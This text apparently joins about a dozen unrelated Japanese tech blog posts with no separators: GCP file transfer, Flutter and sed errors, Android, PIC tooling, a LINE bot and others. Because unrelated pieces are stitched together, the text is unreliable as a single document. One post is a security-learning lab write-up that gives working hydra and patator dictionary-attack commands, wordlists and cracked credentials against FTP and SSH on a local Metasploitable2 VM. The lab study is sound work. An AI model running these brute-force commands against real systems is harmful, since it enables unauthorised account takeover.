GCPのVMインスタンス（Ubuntuサーバ）に対して、ファイル共有する為にGW休暇が潰れた話。

GW中ですが、仕事に追われて、とても忙しいです。
Linuxサーバ上で、テストするコードがあり、Google Cloud　Platform（GCP）で、Ubuntuサーバを立てる所までは、すぐ出来たのですが、そこで環境構築するのに四苦八苦しました。
GWがほぼ残り１日になった今、解決したので、備忘録として書きます。

＜戸惑った根本的な問題は何か？＞
まず、GCPの操作に慣れていないのがデカかった。
もう少し言うと、私自身が混乱したと言うのが有ります。
具体的には、SSL設定です。これは、AWS使っている時は、機械的にやる作業なのだが、GCPの場合は機能が豊富過ぎて、CLOUD SHELL等（他にも、「ブラウザで開く」とか有り。）を使うと、AWSでのあの面倒臭い「公開鍵とか秘密鍵の設定」をしなくても、SSL接続できてしまうので、「これで良いじゃん。」となってしまった事です。（私が混乱しているだけですが。）
![0504pic.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1665829/764da916-9bb9-5a9c-6788-7a79b1b74943.png)

＜本来の目的 ・ やりたかった事＞
GCP上でUbuntuの仮想インスタンスを立てて、そこに開発環境を立てて、色々とテストしてみると言うのが目的。

＜何がそんなに手間取ったか？　そして、どう解決したか？＞
　1.
しかし、この開発環境のDownloadが、仮想Ubuntuサーバで出来ないと言うのが最初の問題だった。
どう言うことか？と言うと、下記のQuestionと同じ問題が発生した。
このソフトウェアなのだが、手元のマシンでDLする為にリンクをクリックすると、「ライセンスの利用契約に同意しますか？」のチェックマークが出てきて、そこにチェックを入れると、DLが始まる仕組みになってます。

https://stackoverflow.com/questions/57636913/couldnt-download-using-wget-or-curl-with-authentication

つまり、ただ、wgetコマンドを叩くだけでは、ソフトがDL出来ない。
「何かやり方がある筈だ。」と思って、散々、ネットで調べたけど、結局、手元のローカルマシン（Mac)に一旦、DLして、その上で、GCP上の仮想インスタンスにアップロードすると言う方法しかないと結論づけました。
→ もし何かいい方法をご存知の方がいたら、教えてください。

2.
と言うことで、ファイル転送の為に、SCPサーバの設定を、仮想Ubuntuサーバに設定する必要があるのだが、その前提として、SSLでのUbuntuへのアクセスを確立しないといけません。
で、このSSLの設定なのですが、ここは本当に混乱しました。
（「クライアント側に公開鍵と秘密鍵を登録して、仮想サーバ側には公開鍵だけを持たせれば良い。」のだが、混乱の中で色々なサイトを見ると、この辺の超基本部分をスッとばしていたり、間違った記載もあったので、兎に角、混乱しました。）
結局、SSL設定に関しては、GCPのマニュアルが一番わかりやすいと結論した。

https://cloud.google.com/compute/docs/instances/ssh

３.
「戸惑った根本的な問題は何か？」の欄で記載した様に混乱したのだが、ただ単に、サーバにSSL接続するだけではなく、ファイル転送（ローカルからGCPの仮想インスタンス側）にしないといけないので、やはり、SSHクライアントを使わないといけません。Windowsの場合は、無料のSSHクライアントは沢山あるのだが、Macなので、選択肢が極めて限られております。色々と試したのだが、結局、FileZillaが一番、使いやすいと言うことで決着。

https://support.kagoya.jp/kir/manual/filezilla_mac/filezilla_mac_1.html

4. 番外編
ついでに、Mac　PCからGCP上に構築したUbuntuにGUIを入れて、Remote Accessする方法に関しても色々と調べました。
この記事が、自分としては、ベスト一番、分かりやすかった。
https://qiita.com/smiler5617/items/b1fd439299cc58c5f69b

＜最後に＞
と言う訳で、意外な部分で詰まったし、SSLの設定でも混乱したし、兎に角、疲れました。
分かれば何て事ないし、振り返れば、混乱した部分もバカみたいな箇所であったが、システム構築では、常に予想外の事が起きるので、根気よく解決しました。
ただ、現時点では、開発環境をGCPの仮想Ubuntuインスタンスで構築出来たと言うだけです。本当の目的は、開発環境で各種負荷テストをする事なので、これでやっとスタートラインにたったと言うことになりますね。
flutter runすると「Unhandled Exception: [core/not-initialized] Firebase has not been correctly initialized」エラー

## エラー概要

iosシミュレーターで```flutter run```する時だけ、以下のエラーが出る。
※Androidはエラーが出ない。
```
[VERBOSE-2:ui_dart_state.cc(209)] Unhandled Exception: [core/not-initialized] Firebase has not been correctly initialized.

Usually this means you've attempted to use a Firebase service before calling `Firebase.initializeApp`.

View the documentation for more information: https://firebase.flutter.dev/docs/overview#initialization
```

## 解決策

```GoogleService-Info.plist```の配置場所を間違えていました。

- 誤：プロジェクトディレクトリ/ios
- 正：プロジェクトディレクトリ/ios/Runner
今日のsed error:unterminated `s' command


```ubuntu:bash
sed: file ../autosar.sed line 237: unterminated `s' command


sed: file ../autosar.sed line 1: unknown option to `s'


sed: -e expression #1, char 2: invalid usage of line address 0

sed 0f ../autosar.sed AUTOSAR_SWS_TImeSynchronization.pdf.gst > ts.set


```

最初のエラーは/がぬけていて
s/serverreplyserver reply/g
という行があった。

s/serverreply/server reply/g
に直した。

２番目のエラーは

s/keyconstraints/keyconstraints/g

と、置換後も同じ文字列だった。

s/keyconstraints/key constraints/g

に直した。

いえ、間違い。
s/keyslotcontentprops/key slot content props/s

と、gではなくsを書いていた行があった。

s/keyslotcontentprops/key slot content props/g
に直した。

unique/uniqコマンドもエラー多発させてしまった。
```ubuntu:bash
uniq autosar.txt
s/aborthandler/abort handler/g access point/g context/gga type/gult point/gfication/g

uniq: autosar.sedtxt: No such file or directory
```

疲れている。lsコマンドでもエラー。

```ubuntu:bash
ls: cannot access 'autosar.*': No such file or directory
```

# 参考資料
今日のSed error: unknown option to `s'

https://qiita.com/kaizen_nagoya/items/1a59999406c092f68ed2
Kali Linux2022.1 でハッキングラボをつくってみる 7　Metasploitable2をハッキングする3 hydraによるオンラインパスワードクラッキング

# はじめに
[前回]()からの続きです。
オンラインでパスワードを解析できるhydraを使って、ftpとsshのアカウントを解析していきます。「ハッキング・ラボのつくりかた」(IPUSIRON著)のp.380-384をもとにした記事となります。

:::note alert
注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。
:::
# 準備
ftpのアカウントを辞書攻撃（事前に流出したアカウントやパスワードのリストを入手しておいて、それをもとにアクセスを繰り返してアカウントをハッキングする)する。
肝心の辞書は、同書のp.381の内容に従います。また、それとの比較でrockyou.txtも利用する。

```text:user.lst
root
sys
msfadmin
user
service
postgres
tomcat
```
```text:pass.lst
user
password
12345678
msfadmin
root
guest
batman
asdfasdf
tomcat

```
pass.lstの最後は、空行で終える。空行ということは、つまり「パスワードが設定されていない」ということ。

rockyou.txtはgithubなどで入手できる、KaliLinuxのデファイル"/usr/share/wordlists/rockyou.txt.gz"があるので、それを解凍して利用してもよい。
解凍するときは、失敗したとしても良いように-kオプションでもとの書庫ファイルを維持するようにした。
```
sudo gunzip -k /usr/share/wordlists/rockyou.txt.gz
```

ちなみに、rockyou.txtは2021年バージョンもあり、それは12GB以上もある!
[参考URL]
https://github.com/ohmybahgosh/RockYou2021.txt

# ftpのアカウントをハッキング
辞書攻撃式パスワードクラッキングのコマンドを実行する。並列処理タスクはデフォルトの16のままにしておいた。`time`コマンドをつけて、どれくらい時間がかかるのか、わかりやすいようにしてある。
```
time hydra -L user.lst -P pass.lst 192.168.56.5 ftp
```
![VirtualBox_kali-linux-2022.1-hydra1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/dddc7862-e0ac-619f-262a-5407f70856cf.png)

次は、同書の記述どおりに、-tオプションで並列処理タスクを8に指定してから実行する。
```
time hydra -L user.lst -P pass.lst -t 8 192.168.56.5 ftp
```
![VirtualBox_kali-linux-2022.1-hydra2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/daee5bed-9993-20f7-f30c-81ed71273721.png)
並行処理タスクを8に指定したほうが、やや時間がかかっているが、CPU負担は少ない。と言っても、CPU使用率はほとんど変わらない。

rockyou.txtをユーザーリストファイル、パスワードファイルに指定してみる。
```
time hydra -L /usr/share/wordlists/rockyou.txt -P /usr/share/wordlists/rockyou.txt 192.168.56.5 ftp
```
実行してみると、非常に時間がかかるので現実的ではない。
単に辞書が大きければ良いというものではなく、洗練されたものが必要であることがわかった。


# sshのアカウントをハッキング
sshのアカウントを辞書攻撃する。sshに対してパスワードクラッキングをするときは、並列処理タスクが多いと警告がでるので、-tオプションで並列処理タスクを４つに指定する。
```shell:
hydra -L user.lst -P pass.lst -t 4 192.168.56.5 ssh
//または
hydra -L user.lst -P pass.lst -t 4 ssh://192.168.56.5:22
```
後者のコマンドは、末尾が「サービス名://サーバーのIPアドレス:ポート番号」の書式となっている。プロトコルのデフォルトのポート番号が変更されている場合、後者の書式で対応する。

ハッキングが成功した
![VirtualBox_kali-linux-2022.1-hydra4ssh.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/d18235cb-9437-cd9d-8f7e-390d32dd4b5d.png)


## hydraでのハッキングが失敗した場合
同書では、hydraでのsshアカウントのパスワードクラッキングが失敗した場合に、代わりとして、patatorというツールの利用が紹介されている。
```
 patator ssh_login host=192.168.56.5 user=FILE0 password=FILE1 0=user.lst 1=pass.lst -x ignore:mesg='Authentication failed.'
```
少し変わった構文・・・（個人的感想）
だが、hydraと同じようにハッキングに成功した。
![VirtualBox_kali-linux-2022.1-patator1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/c4e74b5b-18fc-3f6d-cc10-5a439e2b98cd.png)

# おわりに
アカウント情報をまとめると

| ユーザー名 | ftpのパスワード | sshのパスワード |
| :--------: | :-------------: | :-------------: |
| msfadmin | msfadmin | msfadmin |
| user | user | user |
| sys | なし | batman |

ftpには２つのアカウント、sshには３つのアカウントがあることがわかった。
そのうち、２つのアカウントは、ユーザー名とパスワードが同一というぜいじゃくなパスワードを使用している。
親ディレクトリからサブフォルダのGitリポジトリを一気にpullする

## 前書き

普段テキストエディタでvimを使っています。
いろんなプラグインを使っていますので .vim/pack/**/start/の直下にプラグインごと数多くのサブフォルダが存在しています。
それをターミナル上でいちいち`cd coc` `git pull` `cd ..`みたいな感じでやるのはあまりにも非効率的だと思ったので検索したら下記のようなコマンドを見つかりました。

```shell
find . -type d -depth 1 -exec git --git-dir={}/.git --work-tree=$PWD/{} pull origin master \;
```  

## commandの解釈  

* `find .` : 現在のディレクトリを検索する
* `-type d` : その中でファイルではなく**ディレクトリだけ**を検索する  
* `-depth 1` : 検索対象は現在のディレクトリから１つ下の階層のフォルダとする（サブディレクトリ）  
* `git --git-dir={}/.git --work-tree=$PWD/{} pull origin master \;`  
: 検索しているディレクトリに.gitのディレクトリが存在するならgitのwork-treeを現在の検索中のディレクトリとし、`git pull origin master`のコマンドを実行する

## ちょっとした変更

```shell
find . -type d -depth 1 -print -exec git -C {} pull \;
```

* -print : 検索しているディレクトリ名をターミナルに出力する
* -C : gitのver.1.8.5から`--git-dir={}/.git --work-tree=$PWD/{}`の部分の[代わりに使える](https://stackoverflow.com/questions/5083224/git-pull-while-not-in-a-git-directory)ようです。
* pull : 個人的にはブランチ名をmasterの変わりにmainにしていることと、単純にコマンドをもうちょっと短くしたかったとのことでただ`pull`だけにして使っています。

## 参考元

[Stack Overflow: Run git pull over all subdirectories](https://stackoverflow.com/questions/3497123/run-git-pull-over-all-subdirectories)  
[Stack Overflow: git pull while not in a git directory](https://stackoverflow.com/questions/5083224/git-pull-while-not-in-a-git-directory)
Androidのビュー部品(1)Commonパレット

# はじめに

Androidアプリの開発のために、パレットとビュー部品についての理解を整理します。
この記事で取り扱う環境は、Android Studio＋Windows10です。

:::note info
真新しい情報ではありません。体系立てて理解を整理するために、自分が理解しやすい枠組みでまとめるものです。
:::

## ひとつ前

https://qiita.com/w2mjra555/items/cdd838c2e11b76814c84

## ひとつ先
https://qiita.com/w2mjra555/items/b7caea7ff5d1b506c73f

## 1.レイアウトファイル(activity_main.xml)

デザインビューで見るとこんなかんじです。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2515319/60db1f75-f50e-6f5d-cd56-4ca234735668.png)

## 1.パレットとビュー部品

| No | パレット || No | パレット || No | パレット |
|-----------:|:-----------|:-----------|-----------:|:-----------|:-----------|-----------:|:-----------|
| 1 | Common || 4 | Widgets || 7 | Helper |
| 2 | Text || 5 | Layouts || 8 | Google |
| 3 | Buttons || 6 | Containers || 9 | Legacy |

### 1.1.Commonパレット

よく使うビュー部品が定義されています。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2515319/894712a8-823d-6653-8dcd-7136fa1d9d6a.png)

| No | ビュー部品 | パレット | 説明 |
|-----------:|:-----------|:------------|:------------|
| 1 | TextView | Text | テキストを表示 |
| 2 | Button | Buttons | 通常のボタン |
| 3 | ImageView | Widgets | 画像を表示 |
| 4 | RecyclerView | Containers | メモリ使用量を抑え大規模なデータを扱う  |
| 5 | FragmentContainerView | Containers  | アクティビティ内でフラグメントを扱うコンテナ |
| 6 | ScrollView | Containers | スクロール  |
| 7 | Switch | Buttons  | スイッチ |
if文比較

if文を比較してみます。
・1=1が`true`のときは、`true`と表示します
　でないときは、`false`と表示（出力）します。

```python:python
if 1 == 1:
    print("true")
else:
    print("false")
```
やっぱしpython。すごくシンプルですね。

```ruby:ruby
if 1 == 1 then
    print("true")
else
    print("false")
end
```
ほうほう

```c:c言語
#include <stdio.h>

int main(void) {
    if (1 == 1) {
        printf("%s\n", "true");
    }else{
        printf("%s\n", "false");
    }
    return 0;
}
```
書きごたえがいいほどよい量だね(

```go:go言語
package main
import "fmt"

func main() {
    if 1 == 1 {
        fmt.Println("true")
    }else{
        fmt.Println("false")
    }
}
```
いい感じ！

```javascript:javascript
if (1 == 1) {
    console.log("true");
}else{
    console.log("false");
}
```
他にもjavascriptには色々な書き方があります。

```php:php
if (1 == 1) {
    echo "true"."<br />";
}else{
    echo "false"."<br />";
}
```
なるほど
【初心者でも簡単】自分の職場にマッチしたToDoリストをGlideで作ってみた

# なぜToDoリストを作ったか
おはようございます。
某大型ショッピングモールで勤務しております、Nakamuraです。

突然ですが皆様、ToDoリストは利用されてますでしょうか。
私は一時期スマートフォンの無料アプリのToDoリストを利用してまして、朝のルーティン業務や振り分けられた仕事などを忘れずこなすために使っていました。
しかし、使っている間に一つ困った事がでてきました。
それは**ToDoリストに書かれていない業務まで頭が回らない**ということです。

私の失敗談を例にあげますと、私が今日中にやらなければならない業務、[A][B][C][D]、がありました。
[A]～[D]ToDoリストに書いて、全てにチェックが入ったので今日一日の仕事は終わり！
…と思いきや、実は［E］という業務も今日中にしなければなりませんでした。
しかしToDoリストすべてにチェックが入って満足している私には「まだ業務が残っているかも…？」といった事など考えずに帰宅してしまい、後日職場の方々に謝ることとなりました。

このようにToDoリストは大変便利なものですが、そのリストを作る人が全ての業務をきちんと把握しリストに書き込まなければ機能しないこともあります。

そこで「ToDoリストを共有できればToDoの記入もれを防げるのではないか?」と考えました。

もし上司や同じ部署の方々が私のToDoリストを確認したり記入したりできれば
・記入漏れしている業務を指摘できる
・私に遂行してほしい業務をリストに追加できる
・業務の進捗状況がわかりやすい
といったメリットが出てくると思います。

このような経緯のもと、今回は**複数人で共有できるToDoリスト**を作ってみました。

# 作り方

作り方といいつつ今回は**GLide**というツールのテンプレートをほとんどそのまま使って少しアレンジするだけです。
まずはGLideのホーム画面の「Start from a classic template」の「ViweAll」を開きます。![1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2613598/873dc88f-1828-9118-d486-e8740d37668c.png)
続いて左上の検索欄に「task tracker」と打ち込みます。
すると「Task Tracker」というテンプレートアプリが出てきます。
![2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2613598/a223c961-8e5f-e7a4-585d-161040b16326.png)
※taskだけでも予測で出てきます
![3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2613598/39643a78-64a3-b871-d573-ca2b2fe78a53.png)
「Copy　Template」をクリックします。
するとテンプレートのコピーが完了し、このような画面が出てきます。
![5++.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2613598/3258c20a-a11f-1ef6-3109-77780a88ad5d.png)
右上の「Copy this Template」をクリックします。
![9.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2613598/f1920b24-a0db-9966-f119-8e0de344e685.png)
「Copy」をクリック。
![10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2613598/19c4c34c-7cb6-92d5-5d11-58613e22181d.png)
するとこのような画面になります。
一応このままでも利用可能ですが、自分が使いやすいように名前やアイコンを変更しましょう。
上の青枠の部分をクリックして設定を開きます。
![11.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2613598/7bdf91b4-9eef-e03e-cccc-008ebc6b3d50.png)
「A Name」や「Icon」を変更してみます。
![12.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2613598/71c8668f-d5b4-5e68-bb98-7516c9cdcb37.png)
私はこのように変更しました。
そうしたらあとは公開するだけです。
右上のPublishをクリック。
![13.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2613598/6c89cf66-459b-fa8e-7f78-db079d21602e.png)
「Publish app」をクリック。
![14.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2613598/fa62f523-1656-f4d9-0754-b07dcd74604b.png)
最後に、このようにQRコードが出てくれば後は自分のスマホで読み取るだけです！
![15.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2613598/9ce02ebd-28aa-1a38-8f19-be93fa5bad9e.png)

## 職場の方に使っていただいた
早速QRコードを読み取ってもらって先輩社員に使ってもらい感想をいただきました。

**良い点**
・ToDoを共有できる
・QRコードを読み取るだけでいいので、QRコードを印刷して張っておけば誰でも読み取って簡単に使える
・進捗状況がわかるのがいい

**改善点**
・タスクを作ったり編集したりする権限は絞ったほうがいいのではないか

## 感想
このようなフィードバックをいただきました。
良い点と改善点をいただけたので、どちらもしっかりと取り入れて今回作ったToDoアプリをより良くしていきたいと思いました。

最後まで読んでくださりありがとうございました！
DBMSとはなんぞや？30秒で説明！

この記事の目的

カップラーメンを作る時間の１０/1の時間でDBMSについて説明する


この記事の対象

・「DBとか、DBMSってなんぞや」という方

・一週間前の自分

# 結論

## DBMSとは、データを管理するシステムの事で、RDBMSの事を指して使われる事が多い

## 『何言ってんの？日本語でおけ』

と思った方、待ってください！この記事を読み終わる頃にはこの結論で言っていることが分かるようになっています！30秒ください！コスパ良く説明してみせます！

では気を取り直して…

DBMSとは、データ ベース マネジメント システムの略です

データベースというデータを保管する領域があって、そのデータベースを管理するためにDBMSがあります。DBMSがあるおかげ必要なデータを抽出したり、加工できるんですね

しかし、私たちが実際にDBMSを操作するわけではありません。DBMSはクエリ言語というものを使って操作します。

クエリ言語には、国際的に標準化されたSQLが使われます。国際的に標準化されているということで、SQLを使えるだけでほとんどのDBMSを操作できるようになるのです！

SQLとは、ストラクチャード クエリ ランゲージの略です

読み方は、「エスキューエル」や「シークェル」が使われます。（前者の方が多いかも？）

では、本題のRDBMSについて説明していきたいと思います。

RDBMSとは、リレーショナル　データベース　マネジメント　システムの略です。

ちなみにRDBときたら、　リレーショナル　データベースの略なんです

関係データベースとも呼ばれていて「データを保存する領域を複数に分けて関係付けしちゃおう」

的なデータベースです。

ちなみに、DBの世界では、データを保存する領域をテーブルといいます。新しい事を学ぶのは、新しい世界を知るのと同義です。既存の考え方に囚われないようにしたいですね（何さまじゃ）

## RDBのメリット

SQLでデータの操作が可能！

RDBでは、実質的にSQLでの操作がデファクトスタンダード（標準化）されているので、SQLがわかれば、操作できてしまいます

データの正規化が可能

データベースの世界では同じものが2つ以上あることが許されません。そこで、正規化という手法を使います。正規化をすることでデータの漏れ、被り、その他もろもろが防げてメンテナンス性の高いデータベースの作成が可能になるのです。

データの定義をしなくても、開発ができる！

RDBでは、RDBMSを介してデータを操作するので、利用者はデータの構造の詳しい所まで理解しなくてもデータを操作する事ができるのです。

## RDBのデメリット

RDBでは、データを保存する領域を複数に分ける事でデータの操作性や、メンテナンス性を確保していますが、領域が増えていく事でデータの処理速度が遅くなる事があります。

利便性と効率性はトレード・オフの関係になりやすいのでしょうか…

トレード・オフとは、どちらかが良くなれば、片方が悪くなる的な意味合いの言葉です。

## では、最初の結論をもう一度…

## DBMSとは、データを管理するシステムの事で、RDBMSの事を指して使われる事が多い

## 最後に

データベースと言っても様々な種類がある事が知れて良かったです。

一度の記事に多くを書こうとすると自分でも何を書いているか分からなくなってしまうので、今回の記事みたいに、ちょっとしたコラム的な感じでまとめると、自分の知識を形にできる感じがして楽しかったです〜

# 参考記事

https://wakame-msds.com/dbhistory/


https://programming-gakkou.com/archives/993


https://www.ukessays.com/essays/information-technology/the-evolution-of-database-management-system-information-technology-essay.php
PIC10F322 + PICKIT3 + Windows11 + MPLAB + MCCの環境構築が大変だった件

タイトルのまんまなんですが、似たようなハマり方をする人がいるかもしれないのでメモ代わりに。

## つまづきポイント1  PIC10F200が使えない
そもそもやろうと思ったのはPIC10F200にちょっとした電子オルゴールを仕込みたいと思っただけなんですが、
PIC10F200/222はMPLAB(MCC)が真面目に対応していなさそうだったので諦めました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/469946/3aad3999-0d59-bacd-1e77-64788ceccc10.png)

PIC10F222に関してはPIC10F322のプロジェクトを少しいじって対応している方もいるみたいですが、
よく分かってない人間にはハードルが高すぎるので素直に322を使えば良いと思います。
そもそもPIC10F200が使いたかった理由は「秋月で安く買えるから」なだけなので。
200は50円、322は65円なので大量生産考えてるんでなければ迷う金額じゃないですね。

## つまづきポイント2  Windows11でPICKIT3を認識しない？

結論から言うと、そもそもPICKIT3に専用ドライバは無いようでした。
PICKIT3を接続すると、汎用HIDデバイスとして自動的に認識され、MPLABからも見えます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/469946/26e523b4-5acb-94a3-3c7f-15b1f5848ef2.png)

ネットでWindows11 + PICKIT3 と検索すると「Win11にアップデートしたら認識されなくなった」という情報が
いくつか出てきますが、そういうことは無いと思われます。
ただ、PICKIT3がMPLABに認識されない条件として次の大きなつまづきポイントがありました。

## つまづきポイント3  最新版のMPLABがPICKIT3に対応していない

これが一番大変でした。MPLABの最新版(現時点でver6.00)ではPICKIT3が使えないようです。
https://www.microchip.com/forums/m1198504.aspx

PICKIT3が使える最後のバージョンは恐らくver5.20だろうということで5.20を入れ直します。
https://www.microchip.com/en-us/tools-resources/develop/mplab-x-ide

「Go to Downloads Archives」から5.20を探してダウンロードしてインストール。

## つまづきポイント4  MCCも古いバージョンを入れる

で、古いMPLABから新しいMCCをPluginのインストールで入れようとすると
「the plugin embedded make projects is requested in version >= 1.7 but only 1.5.3.141202 was found」
と出てしまってインストール出来ません。

ここのフォーラムを見ると、トリッキーな方法でインストールすることが出来ると分かります。
https://www.microchip.com/forums/m1174366.aspx

→公式でもその方法を推奨していることが分かりました。
https://microchipsupport.force.com/s/article/Downgrading-MCC-Versions-on-MPLAB

これらのやり取りが分かりにくいので手順を要約すると、
1. MPLAB5.2をアーカイブからダウンロードしてインストールする
2. MCC3.95をアーカイブからダウンロードする
3. MCC3.95のnbmファイルを「Downloaded」タブで指定してインストールする
4. MPLABを再起動するとMPLABはMCCの依存ライブラリが古いからMCCを起動できないと言われる→MCCを無効にして起動する
5. Settingsタブで「Microchip Plugins」のチェックボックスを外す→これにより起動時のMCCの依存関係の警告が出なくなる
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/469946/f3e4d909-4bda-2a1c-8653-40c00dd40d4f.png)
6. MCCを「Activate」してMPLABを再起動→MCCが使える状態でMPLABが起動できる

という感じになります。
わけが分からなすぎて諦めそうになりますが、分かってしまえばなるほどという感じです。

PICKIT3は安いパチモンがネットで買えたりするので世界中のホビーユーザーが愛用していると思うんですが、
（まあそれもあるからMPLABの新しいバージョンでは使えなくしたのかも知れませんが）
こんな複雑な手順を求められるとしたら、これから始めようという人にはハードルが高いですね。

ということでメモでした。どこかの誰かのお役に立てば幸い。
【Python】大谷選手の試合予定を自動でLINEに通知する

# Pythonを使って大谷選手の試合予定を自動でLINEに通知する

大谷選手、今年もばんばんホームランを打って、活躍してほしい！
この記事では、そんなあなたに、エンゼルスの試合予定をLineに通知する、自動化手法を紹介します。

## LINE Notify API の利用準備

今回は、ユーザへの一方的な通知になるので LINE Notify API を利用します。

APIのトークンは [LINE公式サイト](https://notify-bot.line.me/ja/) からアカウントを登録することで取得できます。
``マイページ > トークンを発行する > トークン名、トークルームを設定 > 発行する``
発行されたトークンはpythonコード内で使用するのでコピーしておきます。

## 必要ライブラリのインストール

今回は、LINE APIにHTTPリクエストを送信するための``requests``と、
MLBの試合や選手の情報を取ってくる``statsapi``のライブラリを利用します。

``$ pip install requests MLB-StatsAPI``

## コーディング

作成したpythonコードは以下です。 今回はコード内に全ての解説を記載しています。

こちらのスクリプトを実行すると、例えば、

"次の試合は 2022-05-01 05:05:00 から Los Angeles Angels vs. Chicago White Sox です"

など、次のエンゼルスの試合が何時からかを通知してくれるBotが実現します！

```python:linebot.py
import datetime
import requests
import statsapi


def send_line_notify(notification_message):
    # トークンとLine notify apiのエンドポイントを設定
    line_notify_token = '取得したトークンを記載'
    line_notify_api = 'https://notify-api.line.me/api/notify'
    # トークンをリクエストヘッダに、送信メッセージをリクエストデータに記載
    headers = {'Authorization': f'Bearer {line_notify_token}'}
    data = {'message': f'message: {notification_message}'}
    # HTTPのPOSTリクエストを発行
    requests.post(line_notify_api, headers=headers, data=data)


def get_next_game():
    # Los Angeles Angels の team Code 'ANA' でチームIDを取得
    team_info = statsapi.lookup_team('ana')[0]
    team_id = team_info['id']
    # チームIDを利用して次の試合のIDを取得
    game_id = statsapi.next_game(team_id)
    # 試合IDを利用して試合の詳細情報を取得
    next_game = statsapi.schedule(game_id=game_id)[0]
    return next_game


if __name__ == '__main__':
    # 次の試合のゲーム情報を取得
    next_game = get_next_game()
    # ゲームの開始時間を取得し、JST(UTC+9:00)時間に合わせる
    start_time = datetime.datetime.strptime(next_game['game_datetime'], '%Y-%m-%dT%H:%M:%SZ')
    start_time += datetime.timedelta(hours=9)
    # ホームチームとアウェーチームをそれぞれ取得
    home_team = next_game['home_name']
    away_team = next_game['away_name']
    # ラインに通知するメッセージを作成
    msg = '次の試合は ' + str(start_time) + ' から ' + away_team + ' vs. ' + home_team + ' です'
    # ラインへの通知を実施
    send_line_notify(msg)
```

ちなみに、get_next_game()の中身は、

```
{
   "game_id":661534,
   "game_datetime":"2022-04-30T20:05:00Z",
   "game_date":"2022-04-30",
   "game_type":"R",
   "status":"Scheduled",
   "away_name":"Los Angeles Angels",
   "home_name":"Chicago White Sox",
   "away_id":108,
   "home_id":145,
   "doubleheader":"N",
   "game_num":1,
   "home_probable_pitcher":"Vince Velasquez",
   "away_probable_pitcher":"Jose Suarez",
   "home_pitcher_note":"",
   "away_pitcher_note":"",
   "away_score":"0",
   "home_score":"0",
   "current_inning":"",
   "inning_state":"",
   "venue_id":4,
   "venue_name":"Guaranteed Rate Field",
   "summary":"2022-04-30 - Los Angeles Angels @ Chicago White Sox (Scheduled)"
}
```

こんな感じでした。

細かいパラメータの意味はMLB Stats APIのドキュメントを参照しないといけませんが、
両チームの先発投手を通知内容に含めるぐらいであれば簡単に実現できそうですね！

## まとめ

* pythonを使えばエンゼルスの試合情報をLINE通知したり、自由にカスタマイズしながら簡単に自動化できる
* 大谷選手はとにかく今年も頑張ってほしい！

以上、ご訪問ありがとうございました。
Band とは

## 勉強前イメージ

全然わからんけど周波数帯のこと？
スマホのこと調べてて書いてあった気もする

## 調査

### Band とは

Bandは周波数帯のことで、スマホなどが利用する電波はBandとで分類されています。
区分けは総務省によって定められています。

LTEや3Gなどの通信規格もいくつかの周波数帯に区分けされています。
また各キャリアは複数の周波数帯に対応していて、どれかの電波を使用できれば通信が可能になります。

### 周波数帯の特徴

周波数には以下のような特徴があります。

- 周波数が低い
	- 伝えられる情報が少ない
	- 干渉を受けづらい
	- 遠くまで届く

- 周波数が高い
	- 多くの情報を伝えられる
	- 干渉を受けやすい
	- 遠くまで届きづらい

### 代表的なBand

以下に代表的なバンドを書いてみました。

- Band1 : 2.1GHz
		- カバーするエリアが広い
		- 基本的に日本で使えるスマホは対応している
- Band3 : 1.7GHz
		- 大都市で利用されている
		- LTEが速い
- Band21 : 1.5GHz
		- 地方都市をカバーしている
- Band19 : 800MHz
		- ビルや地下街の繋がりにくい場所で使用されている(プラチナバンド)

### 考え方

注意点としては、 `使用する端末とキャリアの対応するBand(周波数帯)が一致していないと使用できません`

例えば pixel6 のLTEの対応バンドは以下になり、
[こちら](https://store.google.com/jp/product/pixel_6_specs?hl=ja) 参照

```
1/2/3/4/5/7/8/12/13/14/17/18/19/20/25/26/28/29/30/32/38/39/40/41/42/46/48/66/71
```

楽天モバイルの対応バンドは以下になります。

```
3/18/26
```

なので、機種とキャリアがあってるので使用できますが
pixel6で3,28,26のBandが使用できなければ通信することができません。
実際esimがあったりとかで↑で使用できるかはわからないですが、考え方として端末とキャリアは一致する必要があります。
また他にも地方だったり都市圏だったりで違いがあります。

## 勉強後イメージ

見たことはあるけど、全然知らなかったし
プラチナバンドとかいうのも初めて聞いた。

## 参考

- [周波数帯（バンド）とは](https://nifmo.nifty.com/navi/frequencyband.htm)
- [格安SIMで失敗しないノウハウ～格安SIMの機種別の対応周波数を調べる方法～](https://dream.jp/mb/tips_m/sim03.html)
